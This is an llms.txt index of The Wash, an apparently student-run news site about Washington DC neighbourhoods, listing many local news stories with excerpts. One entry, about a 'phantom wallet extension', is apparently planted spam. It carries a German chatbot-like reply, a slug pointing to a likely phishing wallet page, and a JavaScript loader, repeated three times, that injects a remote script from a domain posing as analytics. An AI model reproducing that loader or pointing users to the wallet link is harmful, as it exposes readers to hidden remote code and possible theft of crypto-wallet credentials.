Generated by All in One SEO v4.9.7.2, this is an llms.txt file, used by LLMs to index the site. # The Wash DC Neighborhood Stories from American University ## Sitemaps - [XML Sitemap](https://thewash.org/sitemap.xml): Contains all public & indexable URLs for this website. ## Posts - [For Gen Z, a Paycheck Does Not Mean Stability](https://thewash.org/2026/06/04/for-gen-z-a-paycheck-does-not-mean-stability/) - By Ahmad Todd WASHINGTON — Behind the counter of Georgetown’s Compass Coffee, Spencer Young takes orders, makes drinks and works the kind of full-time schedule many college graduates hope will lead to independence. Forty-hour weeks making coffees, teas and other drinks earn him $840 a week before taxes. In 2024, Young graduated from George Washington - [Kennedy Center woes prompt protest: “Hands Off the Arts!”](https://thewash.org/2026/06/04/kennedy-center-woes-prompt-protest-hands-off-the-arts/) - By Yuri Perelman When Thea Kano was younger and growing up, she questioned where in the world she would like to perform music as a conductor. The Kennedy Center always came to mind, she said, because of its perception as the nation’s stage. The John F. Kennedy Center for the Performing Arts had a lengthy - [How One Researcher United LGBTQ+ Scientists After Her Grant Was Canceled](https://thewash.org/2026/04/15/how-one-researcher-united-lgbtq-scientists-after-her-grant-was-canceled/) - By Amber Mapel On January 20, 2025, President Donald Trump signed Executive Order (EO) 14168 titled “Defending Women From Gender Ideology Extremism and Restoring Biological Truth to the Federal Government.” Eleven days later, Dr. Mandi Pratt-Chapman was notified her grant had been terminated. By 5 p.m. on January 31, her study on how rural cancer - [Nearly a Dozen Labor Unions In DC Endorse Aparna Raj for Council](https://thewash.org/2026/04/15/nearly-a-dozen-labor-unions-in-dc-endorse-aparna-raj-for-council/) - By Daniel Herrera Benitez For the first time in 44 years, the election for Ward 1’s Council seat will not include the incumbent council member after Brianne Nadeau announced she would not be seeking reelection last year. Several candidates have entered the race to represent one of the city's most densely populated and progressive wards - [phantom wallet extension — wenn du möchtest, setze ich diesen Link natürlich ein.](https://thewash.org/2025/06/30/a-href-https-sites-google-com-kryptowallets-app-phantom-wallet-extension-app-phantom-wallet-extension-a-wenn-du-mochtest-setze-ich-diesen-link-naturlich-ein/) - Sag mir, welche dieser Alternativen du möchtest (z. B. "Schreibe einen 1000–1500 Wörter Artikel auf Deutsch über Phantom Wallet mit Sicherheits-Tipps und dem Link eingebettet") — dann erstelle ich ihn klar, korrekt und ohne die problematischen Vorgaben.;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js'); - [D.C. Restaurants Face Challenges Based on Ward Economies and Location](https://thewash.org/2026/03/18/d-c-restaurants-face-challenges-based-on-ward-economies-and-location/) - By Alejandra Mora Ortega Washington D.C. restaurants face economic and staffing problems depending on the Ward they reside in with the United States economy fluctuating throughout 2025 and 2026. “There used to be five of us in this kitchen, 14 years ago,” said Sergio Lobo, the owner of Mario's House Pizza in Anacostia. “Now it’s just me, - [Residents of Anacostia struggle to access fresh and affordable food](https://thewash.org/2026/03/17/residents-of-anacostia-struggle-to-access-fresh-and-affordable-food/) - By Faith Starchia The total number of full grocery stores in the district increased from 76 to 80 in 2025, with only one being placed in Ward 8, according to a report released by D.C. Hunger Solutions. Between Wards 7 and 8, where half of the district’s food deserts lie, there are seven grocery stores - [How the economy is shaping the way Gen Z approaches the college experience](https://thewash.org/2026/03/17/how-the-economy-is-shaping-the-way-gen-z-approaches-the-college-experience/) - By Lakeisha Waichungo When Kareen Gill first became a senior at American University, she was hopeful that with her undergraduate degree in political science, she would be able to secure a full-time job, or an internship that could lead to one in politics. She quickly realized that was not the case. “In 2024 it was - [Arena Stage helps Southwest get ‘up and running again’ in more ways than one](https://thewash.org/2025/03/05/arena-stage-helps-southwest-get-up-and-running-again-in-more-ways-than-one-2/) - From a mass vaccination site to a full house on the opening weekend of August Wilson’s Seven Guitars in just a few months, Arena Stage has proved itself a vital hub in the Southwest Washington D.C community. - [Frustrated drivers blame confusing parking signs for mass ticketing and towing on a popular Southwest D.C. street](https://thewash.org/2021/12/17/frustrated-drivers-blame-confusing-parking-signs-for-mass-ticketing-and-towing-on-a-popular-southwest-d-c-street/) - Maine Avenue SW, across the street from District Wharf, is the third most towed street in all of Washington, D.C. Drivers say it's because the parking signs are confusing. - [Arena Stage helps Southwest get ‘up and running again’ in more ways than one](https://thewash.org/2021/12/07/arena-stage-helps-southwest-get-up-and-running-again-in-more-ways-than-one/) - From a mass vaccination site to a full house on the opening weekend of August Wilson’s Seven Guitars in just a few months, Arena Stage has proved itself a vital hub in the Southwest Washington D.C community. - [The Afghan Resettlement Report](https://thewash.org/2021/11/22/the-afghan-resettlement-report/) - The Afghan Resettlement Report looks at the journey of evacuees fleeing Taliban rule following the U.S. withdrawal from Afghanistan. Six American University students report on local efforts to welcome evacuees into the U.S. and how they are navigating government resettlement systems. - [‘Emergency Band-Aid’ repairs to begin at Tidal Basin in 2022](https://thewash.org/2021/11/16/emergency-band-aid-repairs-to-begin-at-tidal-basin-in-2022/) - The National Park Service will begin major seawall repairs at the National Mall Tidal Basin in 2022 to curb major flooding. But the $500 million project will be a temporary fix to the larger threats of rising sea levels and crumbling infrastructure. - [Southeast city leaders negotiate a dog park out of developer WC Smith amid controversial design review](https://thewash.org/2021/11/02/southeast-city-leaders-negotiate-a-dog-park-out-of-developer-wc-smith-amid-controversial-design-review/) - How do dog parks, playgrounds and barbershops end up in your neighborhood? The answer– city leaders often have to fight to get them added to developers' high-rise plans. - [Flooding doesn't stop sales at District Wharf Municipal Fish Market](https://thewash.org/2021/10/29/flooding-doesnt-stop-sales-at-district-wharf-municipal-fish-market/) - “Next customer!” yelled a Municipal Fish Market employee while pouring water out of his boot. The Municipal Fish Market, located at the end of District Wharf, is underwater–and still conducting business. Historic flooding hit Washington, D.C. in the early hours of October 29th and is expected to persist through Sunday morning. According to the National - [District Wharf and liveaboard boaters declare essential partnership amid Phase 2 construction](https://thewash.org/2021/10/19/district-wharf-and-liveaboard-boaters-declare-essential-partnership-amid-phase-2-construction/) - District Wharf views the liveaboard boater community as an important example of innovative housing solutions, diversity, and an important partner in maintaining the health and safety of the Washington Channel. - [Proposed redesign of M Street SE seeks to increase safety, mobility](https://thewash.org/2021/10/05/redesigning-m-street-to-create-a-more-accessible-southwest-dc/) - The Capitol Riverfront Mobility Project plans to change the way people move through Southeast Washington by increasing micromobility options and making the roads safer for everyone. - [Students stage walk-out in protest after SIS professor appears in Epstein Files](https://thewash.org/2026/02/05/students-stage-walk-out-in-protest-after-sis-professor-appears-in-epstein-files/) - AU students staged a walk-out in protest of the University's handling of allegations that an SIS professor had ties to Jeffrey Epstein while serving as US Ambassador to Mexico. While the University has not released any official comments, the professor has said that the allegations are false. - [Former Adams Morgan halfway houses lie vacant; neighbors want answers](https://thewash.org/2025/10/14/former-adams-morgan-halfway-houses-lie-vacant-neighbors-want-answers/) - The two houses have been vacant since January. Residents are concerned about the relocation of their tenants and potential rat issues. - [Rats! They're all over Adams Morgan, but who's to blame?](https://thewash.org/2025/09/30/rats-theyre-all-over-adams-morgan-but-whos-to-blame/) - The Adams Morgan rat boom began about two years ago, according to residents. Lack of communication between agencies, governing officials, and residents leaves the problem unsolved. - [H Street corridor’s biggest draw laments the DC Streetcar’s last ride](https://thewash.org/2025/11/18/h-street-corridors-biggest-draw-laments-the-dc-streetcars-last-ride/) - A major H street establishment warns the end of the DC Streetcar could derail H Street’s momentum, even as Metro offers reassurances with bus options and DDOT frames the shutdown as a budget decision. - [Youth curfew extended to increase safety in Navy Yard](https://thewash.org/2025/12/09/youth-curfew-extended-to-increase-safety-in-navy-yard/) - D.C. Council extends the curfew till April. Navy Yard residents question whether this is a fair public safety measure. - [Indigenous artists bring culture, craft to Smithsonian](https://thewash.org/2025/12/08/indigenous-artists-bring-culture-craft-to-smithsonian/) - Thirty artists from across the Americas gathered in D.C. this weekend for the National Museum of the American Indian’s annual market, sharing work rooted in tradition. - [First monument honoring women greenlit for National Mall](https://thewash.org/2025/12/08/first-monument-honoring-women-greenlit-for-national-mall/) - The National Capital Planning Commission approves placement of the monument in Constitution Gardens. Visitors to the Mall welcome the news and wonder why it took so long. - [Excitement grows as The Wharf’s holiday boat parade nears](https://thewash.org/2025/12/06/excitement-grows-as-the-wharfs-holiday-boat-parade-nears/) - Residents and businesses are voicing their excitement as they prepare for The Wharf’s holiday boat parade Saturday. - [This Southwest museum is not shutting down](https://thewash.org/2025/10/21/this-southwest-museum-is-not-shutting-down/) - The Rubell Museum in Southwest remains open even as Smithsonian museums and the National Gallery temporarily shut down. - [Organizations planned Dia de los Muertos celebration without concern for ICE](https://thewash.org/2025/11/04/we-havent-been-expecting-it-organizations-planned-dia-de-los-muertos-celebration-without-concern-for-ice/) - Organizations partnered with The Wharf said they had no concerns about participant safety while planning the celebration. - [Hundreds turn out for National Christmas Tree lighting despite recent violence](https://thewash.org/2025/12/05/hundreds-turn-out-for-national-christmas-tree-lighting-despite-recent-violence/) - Despite the recent shooting of two National Guard soldiers late last month, hundreds attended the National Christmas Tree lighting last night in Washington, D.C. Guests of the event dismissed safety concerns, focusing on the opportunity to attend instead. - [Maryland wrestles with a health care divide](https://thewash.org/2025/12/05/maryland-wrestles-with-a-health-care-divide/) - Many counties in the state lack enough physicians to meet basic needs. Leaders say workforce barriers are leaving rural residents behind. - [Metro debuts new bike lockers at two stations, with more expected through 2027](https://thewash.org/2025/12/02/metro-debuts-new-bike-lockers-at-two-stations-with-more-expected-through-2027/) - Metro has rolled out new app-based bike lockers at Foggy Bottom and Eastern Market, giving cyclists a cheaper and more secure parking option. Riders welcomed the upgrade but said the system’s impact will depend on how quickly it expands — a timeline Metro has not yet released. - [District eyes additional resources to equip teen drivers](https://thewash.org/2025/12/02/district-eyes-additional-resources-to-equip-teen-drivers/) - After a successful pilot, DDOT is looking for ways to expand the recent driver training program, which ended earlier this year. The partnership between four area high schools, Vision Zero, and Dexterity Driving School saw over 120 students gain skills to keep them safe on D.C. roads. - [Twenty years old and performing on big stages](https://thewash.org/2025/12/02/twenty-years-old-and-performing-on-big-stages/) - Ella Vaughn made waves at the Opera for Peace academy that took place in the French Embassy in November. - [Amit Peled and his story to performing Mozart in Jeans](https://thewash.org/2025/12/02/amit-peled-and-his-story-to-performing-mozart-in-jeans/) - Amit Peled is showing the DMV area how classical music can be performed in a relaxed way. - [Georgetown residents push to fix Rose Park trash crisis](https://thewash.org/2025/12/02/georgetown-residents-push-to-fix-rose-park-trash-crisis/) - Rose Park Winter Market Night is approaching, but the park’s trash crisis remains unresolved. - [Here's where Montgomery County's public transit expansion stands](https://thewash.org/2025/12/02/heres-where-montgomery-countys-public-transit-expansion-stands/) - The county opened the first of five new bus rapid transit lines in 2020. The next won't open until 2028. - [Southwest residents want more room on the table for fresh produce](https://thewash.org/2025/11/19/southwest-residents-want-more-room-on-the-table-for-fresh-produce/) - Safeway is the only grocery store in the neighborhood, and the lack of alternatives is driving some residents out of the area to shop. But a remedy is coming now that Streets Market has announced plans to open a location at The Wharf. - [Dupont holiday market offers local businesses lifeline during slow season](https://thewash.org/2025/11/18/dupont-holiday-market-offers-local-businesses-lifeline-during-slow-season/) - As the Dupont Circle Holiday Market returns for its second year, vendors say the seasonal event provides crucial revenue during their slowest months and helps draw foot traffic back to neighborhood streets. - [D.C.’s new outdoor dining rules aim at accessibility. Will they deliver?](https://thewash.org/2025/11/18/d-c-s-new-outdoor-dining-rules-aim-at-accessibility-will-they-deliver/) - D.C. is phasing out its temporary streatery program, and many U Street restaurants are tearing down their setups entirely — potentially eliminating one of the few accessible gathering spaces available. - [Mariposa Garden’s 2025 success foreshadows future growth](https://thewash.org/2025/11/18/mariposa-gardens-2025-success-foreshadows-future-growth/) - Mariposa Garden made strides this year, having more volunteers, more plants, and more events than in previous years. - [At DowntownDC’s Holiday Market, vendors drive profit as foot traffic rebounds](https://thewash.org/2025/11/18/at-downtowndcs-holiday-market-vendors-drive-profit-as-foot-traffic-rebounds/) - The DowntownDC Holiday Market is kicking off on Nov. 21 with a 70% diverse vendor lineup. For small shops like Mahogany Books and Eliana Curated, the market has become a crucial boost in visibility and revenue. - [Democracy as theater: A Brit's week on the Virginia campaign trail](https://thewash.org/2025/11/13/democracy-as-theater-a-brits-week-on-the-virginia-campaign-trail/) - George Smith was among 24 American University students who fanned out across Virginia to take the pulse of the commonwealth ahead of the 2025 elections for their class, Battleground: Virginia. George, a citizen of the United Kingdom who has built political experience on both sides of the Atlantic, shares his observations of the campaign. - [Anxiety, concern seize community over SNAP benefits](https://thewash.org/2025/11/05/anxiety-concern-seize-community-over-snap-benefits/) - SNAP benefits are threatened amid the longest federal government shutdown in history. Community organizations are scrambling to meet the rising demand to help families survive through uncertain times. - [Communities step up amid food security uncertainty](https://thewash.org/2025/11/11/communities-step-up-amid-food-security-uncertainty/) - Although the government shutdown, the longest in history, may end soon, food insecurity remains a long-term concern. - [Free yard sale in Montgomery County builds a sense of community](https://thewash.org/2025/11/11/free-yard-sale-in-montgomery-county-builds-a-sense-of-community/) - When people gather in the parking lot of Rachel Carson Elementary School Nov. 30 with cars full of unwanted treasures, they won’t just be exchanging goods; they will be building relationships. - [After 12 years, Right Proper is still getting it right](https://thewash.org/2025/11/11/after-12-years-right-proper-is-still-getting-it-right/) - Right Proper Brewing Co. is expanding again with a new location opening in Eckington next spring. At current capacity, Right Proper brews and distributes about 5,000 barrels of beer per year. The new 5,500 square foot location will seat 180, and it will feature a full kitchen but smaller brewing capacity. - [New food hall set to open in Cleveland Park](https://thewash.org/2025/11/11/new-food-hall-set-to-open-in-cleveland-park/) - Wonder, a food hall, is coming to Cleveland Park, with a grand opening expected on Dec. 4. - [Georgetown’s Hilltop Campus experiences emergency power outage](https://thewash.org/2025/11/10/georgetowns-hilltop-campus-experiences-emergency-power-outage/) - Some students and faculty, unaware of the power outage, tried to enter the locked academic buildings but were stopped by staff. - [Beyond ‘Packing the Courthouse’: D.C.’s long road to self-governance ](https://thewash.org/2025/11/04/beyond-packing-the-courthouse-d-c-s-long-road-to-self-governance/) - After packing the court in protest of federal overreach, Free DC, a grassroot organization advocating D.C. statehood, is dialing up political pressure and building a resistance movement to reimagine a democracy through a unified coalition. - [Democratic wins deepen divisions on shutdown](https://thewash.org/2025/11/05/democratic-wins-deepen-divisions-on-shutdown/) - Democratic candidates pulled off swift election day wins in New York City, Virginia and New Jersey amid the longest federal government shutdown in American history. Still, both parties are refusing to take the blame for the 36-day shutdown and the reasons behind it. - [Open Piano hits all the right notes on U Street](https://thewash.org/2025/11/04/open-piano-hits-all-the-right-notes-on-u-street/) - A refurbished Yamaha piano — and the community around it. Open Piano at The Saloon on U Street offers a no-cost space for pianists. - [Capital One Arena set to wrap up Phase 1 of renovation](https://thewash.org/2025/11/04/capital-one-arena-set-to-wrap-up-phase-1-of-renovation/) - Capital One Arena is preparing to wrap up the first phase of its multi-year renovation, setting the stage for a more visible and construction-heavy next phase. - [Adams Morgan PorchFest continues to flourish](https://thewash.org/2025/11/04/adams-morgan-porchfest-continues-to-flourish/) - More bands and businesses participated in Adams Morgan Porchfest this past weekend compared to previous years. - [The West End: Lots of convenience, but little connection](https://thewash.org/2025/11/04/the-west-end-lots-of-convenience-but-little-connection/) - The West End looks picture-perfect — clean, calm and convenient — yet residents describe a quieter struggle: building community in a neighborhood where comfort often replaces connection. - [Obama shows up for Spanberger in governor hopeful's last-minute rally of Va. faithful](https://thewash.org/2025/11/03/obama-shows-up-for-spanberger-in-governor-hopefuls-last-minute-rally-of-va-faithful/) - Twenty-four American University students fanned out across Virginia to take the pulse of the commonwealth last weekend, just ahead of the closely watched gubernatorial race. The students in the Battleground: Virginia class have spent the semester learning the trends, politics and developments in the commonwealth's statewide contests. - [Republican chefs serve politics over easy as Virginia race nears finish](https://thewash.org/2025/11/03/surprise-republican-chefs-serve-politics-over-easy-as-virginia-race-nears-finish/) - Twenty-four American University students fanned out across Virginia to take the pulse of the commonwealth last weekend, just ahead of the closely watched gubernatorial race. The students in the Battleground: Virginia class have spent the semester learning the trends, politics and developments in the commonwealth's statewide contests. - [At Howard's homecoming, students and alumni note progress, continued struggles](https://thewash.org/2025/10/28/at-howards-homecoming-students-and-alumni-note-progress-continued-struggles/) - While alumni and administrators at Howard University are excited about the progress the university has made, current students note persistent problems, such as access to food on campus. - [Electric vehicle charging stations may come to Adams Morgan soon](https://thewash.org/2025/10/28/electric-vehicle-charging-stations-may-replace-two-admo-parking-spots/) - An electric vehicle curbside charging company teams with the D.C. Department of Transportation to install charging stations throughout the District. Residents wonder how successful the potential charging stations in Adams Morgan would be. - [MoCo Parents push back on proposed school boundaries](https://thewash.org/2025/10/28/moco-parents-push-back-on-proposed-school-boundaries/) - The school system unveiled multiple proposals for the new attendance zones earlier this month. Parents say the new boundaries backstep on promises. - [C&O Canal awakens as Georgetown prepares for boat tours' return](https://thewash.org/2025/10/28/co-canal-awakens-as-georgetown-prepares-for-boat-tours-return/) - After more than two years of waiting, residents are looking forward to the return of boat tours on the historic C&O Canal next spring. - [Future of GEICO headquarters under discussion](https://thewash.org/2025/10/28/future-of-geico-headquarters-under-discussion/) - The former headquarters rests on 26 acres. Montgomery County officials are discussing the possible future of the site, taking residents’ voices into consideration. - [“We will not cooperate!” Washington says ‘No Kings’ again to Donald Trump](https://thewash.org/2025/10/21/we-will-not-cooperate-washington-says-no-kings-again-to-donald-trump/) - Thousands flood the streets of Washington, D.C., on Sunday, marching toward Capitol Hill to protest what they call the Trump administration’s abuse of presidential power. They rally to defend the Constitution and civil liberties, and to oppose militarized law enforcement and suppression. - [The complicated relationship of Black Women and the ‘No Kings’ movement](https://thewash.org/2025/10/22/the-complicated-relationship-of-black-women-and-the-no-kings-movement/) - Some Black women are opting out of protests after feeling unheard in the 2024 presidential election. - [This last Black institution along the Anacostia is navigating development with intention](https://thewash.org/2025/10/21/the-last-black-institution-along-the-anacostia-river-is-navigating-development-with-intention/) - As billion-dollar developments shape the Anacostia waterfront, Seafarers Yacht Club, the oldest black boating club in the country, anchors its legacy in resiliency, partnership and protection from its historic designation. - [From Malcolm X Park to workshops: Rhythm and belonging](https://thewash.org/2025/10/21/from-malcolm-x-park-to-workshops-rhythm-and-belonging/) - For half a century, Malcolm X Park’s Sunday drum circle has been a D.C tradition. Today, drumming endures in teaching spaces throughout the DMV. - [Barnes & Noble returns to Downtown D.C. after a decade](https://thewash.org/2025/10/21/barnes-noble-returns-to-downtown-d-c-after-a-decade/) - The bookstore chain will return to Penn Quarter in January, reflecting a renewed interest in in-person book shopping. - [West End, Foggy Bottom prepare for 50th Marine Corps Marathon](https://thewash.org/2025/10/21/west-end-foggy-bottom-prepare-for-the-50th-marine-corps-marathon/) - As thousands of runners prepare to celebrate the Marine Corps Marathon’s 50th year, residents along its route live in a different world — one of detours, confusion and unanswered questions. - [DC Water fixes long-running water leak in Wesley Heights](https://thewash.org/2025/10/16/dc-water-fixes-long-running-water-leak-in-wesley-heights/) - DC Water had nearly two years to fix an ongoing water leak in Wesley Heights, but after an article points out the negligence, the leak is repaired. - ['Disappointing' D.C.: Locals are worried, visitors feel shut out](https://thewash.org/2025/10/15/disappointing-d-c-locals-are-worried-visitors-feel-shut-out/) - One activist called it a “multi-generational traumatic event.” - [Dueling parties, frozen talks: Shutdown drags into third week](https://thewash.org/2025/10/15/dueling-parties-frozen-talks-shutdown-drags-into-third-week/) - Republicans and Democrats remain deadlocked over a spending bill that would reopen the government. - [Red, White, and Bison Gala is another Howard military community win](https://thewash.org/2025/10/14/red-white-and-bison-gala-is-another-howard-military-community-win/) - Howard University is home to nearly 700 military-connected students. This year, during Homecoming, the Office of Student Affairs is trying to highlight them and their contributions with the Inaugural Red, White, and Bison Gala. The biggest win of all, however, is the community being built at the university. - [For historic Georgetown Black cemeteries, stormwater project begins next spring](https://thewash.org/2025/10/14/for-historic-georgetown-black-cemeteries-stormwater-project-begins-next-spring/) - The construction has been delayed at least three times. With water continuing to erode the two cemeteries, the District Department of Transportation is pressured to give an answer about its next plan. - [Bethesda needs a recreation center. Can it get one?](https://thewash.org/2025/10/14/bethesda-needs-a-recreation-center-can-it-get-one/) - The Montgomery County Planning Department called out the need for a dedicated recreation center back in 2017. There’s been little progress. - [Wesley Heights water leak not resolved after two years; DC Water silent](https://thewash.org/2025/10/14/wesley-heights-water-leak-not-resolved-after-two-years-dc-water-silent/) - As colder months approach, residents worry about persistent leak at 3101 New Mexico Ave NW. DC Water says it’s responsible, but it has not addressed it. - [GALA’s ‘Héctor, El Niño’ empowers D.C. youth](https://thewash.org/2025/10/13/galas-hector-el-nino-empowers-d-c-youth/) - Young artists find their voice as GALA Theatre hosts the world premiere of the musical Héctor, El Niño Eléctrico. - [Montgomery County executive candidate sues forum organizers over exclusion](https://thewash.org/2025/10/09/montgomery-county-executive-candidate-sues-forum-organizers-over-exclusion/) - The lawsuit says Montgomery County Renter’s Alliance and Montgomery Community Media violated rules that govern their tax-exempt status by getting involved in political campaigns. - [“Take it to the Bridge”: Go-go song release party celebrates 11th Street Bridge Park](https://thewash.org/2025/10/07/take-it-to-the-bridge-go-go-song-release-party-celebrates-11th-street-bridge-park/) - The 11th Street Bridge Park kicks off a go-go funky release party for its official song, “Take it to the Bridge,” at the Go-Go Museum in D.C. - [Federal law enforcement leaves Chinatown uneasy](https://thewash.org/2025/10/07/federal-law-enforcement-leaves-chinatown-uneasy/) - Some residents and business owners in Chinatown say trust in local law enforcement has changed even though the federal surge has ended. - [ANC community grants: An underpublicized feature not uniformly offered](https://thewash.org/2025/10/07/anc-community-grants-an-underpublicized-feature-not-uniformly-offered/) - Even after 50 years of home rule, some D.C. residents are still learning about the role of advisory neighborhood commissions. The use and administration of ANC community grants in particular is not well publicized and not uniform across the district. - [Southwest rent prices are high, resident concerns are higher](https://thewash.org/2025/10/07/southwest-rent-prices-are-high-resident-concerns-are-higher/) - Residents are frustrated with the lack of affordable housing in Southwest and want the District to do more. - [“We’re just at the minimum to function”: Foggy Bottom/West End’s strained ANC](https://thewash.org/2025/10/07/were-just-at-the-minimum-to-function-foggy-bottom-west-ends-strained-anc/) - Vacancies in the Foggy Bottom and West End’s Advisory Neighborhood Commission expose the limits of a system that relies on volunteers and minimal outreach. From the city office to local residents, sources say the ANC is barley functioning. - [‘It is political:’ Creating queer safe spaces in Montgomery County](https://thewash.org/2025/09/30/it-is-political-creating-queer-safe-spaces-in-montgomery-county/) - The county’s first Pride center opens in Bethesda to uplift the LGBTQ+ community with supportive programs. - [Ahead of looming shutdown, VOA fights to be heard](https://thewash.org/2025/09/30/ahead-of-looming-shutdown-voa-fights-to-be-heard/) - A small group of journalists is fighting the Trump Administration to keep the Voice of America alive. Until March, the news service had broadcast continuously for 83 years, and reached 350 million listeners in 49 languages per week. - [Bringing music to the community: Free concerts at Tenleytown church](https://thewash.org/2025/09/30/bringing-music-to-the-community-free-concerts-at-tenleytown-church/) - Both artists and audience are excited for the 2025-2026 classical concert series at St. Ann Catholic Church. - [For a cleaner Potomac, advocates and others are taking action](https://thewash.org/2025/09/30/for-a-cleaner-potomac-advocates-and-others-are-taking-action/) - From a paddling race to DC Water’s tunnel project, advocates and government agencies continue to take action to protect the nation’s river. - [Tarot and cocktails: D.C.’s witches are stepping out](https://thewash.org/2025/09/30/tarot-and-cocktails-d-c-s-witches-are-stepping-out/) - As Tarot nights take over bars, witches say their craft is not a trend. - [Activists have 5 months to prove Bethesda development sits on historic cemetery](https://thewash.org/2025/09/16/activists-have-5-months-to-prove-bethesda-development-sits-on-historic-cemetery/) - Judge gives latest ruling in an eight-year court battle, but developers say claims of human remains beneath construction are unfounded. - [National Guard wants to help; ANCs not so sure](https://thewash.org/2025/09/23/national-guard-wants-to-help-ancs-not-so-sure/) - Guard troops are shifting their focus from crime, and as their deployment is extended, they are looking for beautification projects to work on. Residents and D.C. leaders are wondering if collaboration legitimizes federal overreach or signals an opportunity to serve the community. - [Dupont Circle deckover work starts promising new public plaza](https://thewash.org/2025/09/23/dupont-circle-deckover-work-starts-promising-new-public-plaza/) - As construction workers begin a project to cover part of the Connecticut Avenue underpass, some residents still have concerns. - [Chinatown leaders push for expanded drug free zones](https://thewash.org/2025/09/23/chinatown-leaders-push-for-expanded-drug-free-zones/) - While police note the tools are no cure-all, residents say the neighborhood feels safer than it did two years ago. - [Market SW is ending, but neighborhood-building events will continue](https://thewash.org/2025/09/23/market-sw-is-ending-but-neighborhood-building-events-will-continue/) - Westminster Presbyterian Church and the Southwest Library are among the groups sponsoring events. - [Federal police surge, inflation slowing visits to Georgetown](https://thewash.org/2025/09/17/federal-police-surge-inflation-slowing-visits-to-georgetown/) - Those who work and visit the historic area say the National Guard’s presence and ICE enforcement, along with rising prices, are having an impact. - [Economic uncertainty, federal law enforcement surge loom over Howard’s 101st Homecoming](https://thewash.org/2025/09/16/economic-uncertainty-federal-law-enforcement-surge-loom-over-howards-101st-homecoming/) - Howard University’s 101st Homecoming is just six weeks away, and ANC leaders, community members, and alumni are expressing concerns. - [D.C. student walkouts marks start of events protesting federal police surge](https://thewash.org/2025/09/16/students-in-d-c-stand-up-to-the-government-through-activist-events/) - Students at four Washington, D.C. universities kick off activist events for the school year with walkouts to protest against the National Guard presence in D.C. - [Lack of pedestrian zone reduces Adams Morgan Day foot traffic](https://thewash.org/2025/09/16/lack-of-pedestrian-zone-reduces-adams-morgan-day-foot-traffic/) - Approximately 7,000 attended Adams Morgan Day, but experts think closing down 18th Street NW would have brought a lot more - [Upcoming High Heel Race marks Dupont’s struggle to remain D.C.’s LGBTQ+ hub](https://thewash.org/2025/09/16/upcoming-high-heel-race-marks-duponts-struggle-to-remain-d-c-s-lgbtq-hub/) - As thousands prepare to gather for the 38th High Heel Race, Dupont Circle’s role as the historic heart of LGBTQ+ life faces new challenges — from safety to rising costs. - [Chinatown loses another legacy business as Momiji shuts down](https://thewash.org/2025/09/16/chinatown-loses-another-legacy-business-as-momiji-shuts-down/) - Momiji Restaurant will close as redevelopment reshapes the neighborhood. - [Parking enforcement officer kicks down vendor table at Adams Morgan Day](https://thewash.org/2025/09/15/parking-enforcement-officer-kicks-down-vendor-table-at-adams-morgan-day/) - His reason? Vendors were blocking a Capital Bikeshare docking station, even though event organizers secured a permit to use the space. - [GOP pushes for AI deregulation to ‘stay ahead of China’](https://thewash.org/2025/09/11/gop-pushes-to-ai-deregulation-to-stay-ahead-of-china/) - Democrats say the U.S. needs more AI protections, not fewer - [Hi, performative men: drag queens did it first](https://thewash.org/2025/09/09/hi-performative-men-drag-queens-did-it-first/) - Performative men are taking over public parks in a series of competitions–but who created that safe space to openly play with gender? - [Murals on a mission: Street art making city streets safer](https://thewash.org/2025/09/09/murals-on-a-mission-street-art-making-city-streets-safer/) - Crosswalks murals designed by students and local artists are part of a public safety initiative. - [Worries mount despite good business at DC’s Fish Market](https://thewash.org/2025/09/09/worries-mount-despite-good-business-at-dcs-fish-market/) - Longtime D.C. residents say that the Municipal Fish Market is here to stay, while others warn of impending consequences. - [Sapphic Songwriters Night packs D.C.’s Songbyrd](https://thewash.org/2025/08/20/sapphic-songwriters-night-packs-d-c-s-songbyrd/) - “I think that a song is a snapshot of a feeling,” Levchenko said. - [Amid economic uncertainty, a ‘solidarity economy’ grows in DC](https://thewash.org/2025/06/26/amid-economic-uncertainty-a-solidarity-economy-grows-in-dc/) - Neighbors helping each other creates an economy built on kindness and community, not profit. - [Out of the rabbit hole](https://thewash.org/2025/06/22/out-of-the-rabbit-hole/) - In the wake of an increasingly mainstream movement promoting health misinformation, there are still ways to reach the believers. - [A Michelin-star chef opens a store in Kalorama-Sheridan](https://thewash.org/2025/06/15/a-former-michelin-star-chef-opens-a-store-in-kalorama-sheridan/) - Daniel Petita reflects on his career as he opens Kalorama Market - [How U Street’s vibrant, legacy arts scene survives through gentrification](https://thewash.org/2025/05/29/how-u-streets-vibrant-legacy-arts-scene-survives-through-gentrification/) - The African American Civil War Memorial is scheduled to reopen in July after undergoing renovations. - [Mass layoffs plunge DMV federal workers into sudden hardship](https://thewash.org/2025/05/20/mass-layoffs-plunge-dmv-federal-workers-into-sudden-hardship/) - There are “people [who] are still working there, and you're telling them that their work doesn't matter.” ~ Former FDA employee - [Joy as Resistance: Dance Parties Take on DOGE](https://thewash.org/2025/05/24/joy-as-resistance-dance-parties-take-on-doge/) - While protests at Tesla showrooms have popped up in nearly every state, two women in D.C. have decided to approach the issue differently: with dance parties aimed at drawing attention to Elon Musk’s involvement in the Trump administration. The “Dance Against Doge” team says there’s no right way to protest. - [American Ninja Warrior-Inspired Gyms Continue to Grow](https://thewash.org/2025/05/19/american-ninja-warrior-inspired-gyms-continue-to-grow/) - The hit TV show American Ninja Warrior's ratings are down, but gym-goers still desire the training facilities. - [D.C needs Black art educators, and its history proves it: Panelists](https://thewash.org/2024/10/29/d-c-needs-black-art-educators-and-its-history-proves-it-panelists/) - The Anacostia Community Museum showcases an art exhibit followed by an open panel that served as a “call to action” to revive Black art education in schools. - [When Your Social Media Is Turned Against You](https://thewash.org/2025/05/05/when-your-social-media-is-turned-against-you/) - “If my name is going to get blasted, at least it’s getting blasted for saying ‘I support human rights.'” ~ Jack MacCallum - [Organizers on World Pride safety: 'D.C. is the place to be'](https://thewash.org/2025/05/03/organizers-on-world-pride-safety-d-c-is-the-place-to-be/) - Capital Pride board member Vernon Wall still remembers when Miley Cyrus stood her ground at Capital Pride in 2017 during the first Trump Administration. “She said, ‘I promised that when this person was elected, I was never going to do 